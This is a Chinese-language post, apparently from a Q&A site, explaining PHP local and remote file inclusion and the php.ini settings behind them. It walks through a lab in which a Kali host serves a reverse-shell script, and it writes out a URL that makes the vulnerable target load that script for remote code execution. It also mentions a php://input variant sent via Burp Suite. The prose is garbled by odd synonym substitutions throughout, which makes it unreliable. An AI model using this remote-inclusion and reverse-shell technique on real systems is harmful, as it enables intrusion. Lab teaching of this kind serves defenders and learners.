文件包含有的函数在PHP里面有4个,分别是include、include_once、require、require_once ,都是加载文件或协议资源,将其内容作为PHP代码实行。文件包含又分为本地文件包含LFI和远程文件包含RFI,这个是由php.ini配置文件的allow_url_include和allow_url_fopen掌握的,如果2个都是On,那么便是远程文件包含RFI,否则便是本地文件包含,值得把稳的是,如果仅仅打开了 allow_url_include,还可以利用PHP伪协议实现任意代码实行。
ailx10
网络安全精良回答者

网络安全硕士
去咨询
为了完成这个小实验,先开启allow_url_include和allow_url_fopen,重启apache2,如下图所示:
接下来,我来演示一下如何通过远程文件包含,实现任意代码实行(webshell)
1)kali 黑客主机,上面写一个网站,内容是反弹shell
2)访问含有文件包含漏洞的薄弱性靶场( ubuntu )
http://192.168.0.104/ailx10.php?ailx10=http://192.168.0.103/hack-you.php
3)反弹shell成功,可以任意代码实行
本文的末了,我给大家演出一下PHP伪协议,在仅开启allow_url_include的情形下的运用,这里也非常大略,还是上面的任意代码实行的例子,我们只须要利用burpsuite进行修正要求内容,将反弹shell脚本放在要求里面就可以了,把稳这里要求的路径是php://input
编辑于 2023-09-03 10:45・IP 属地江苏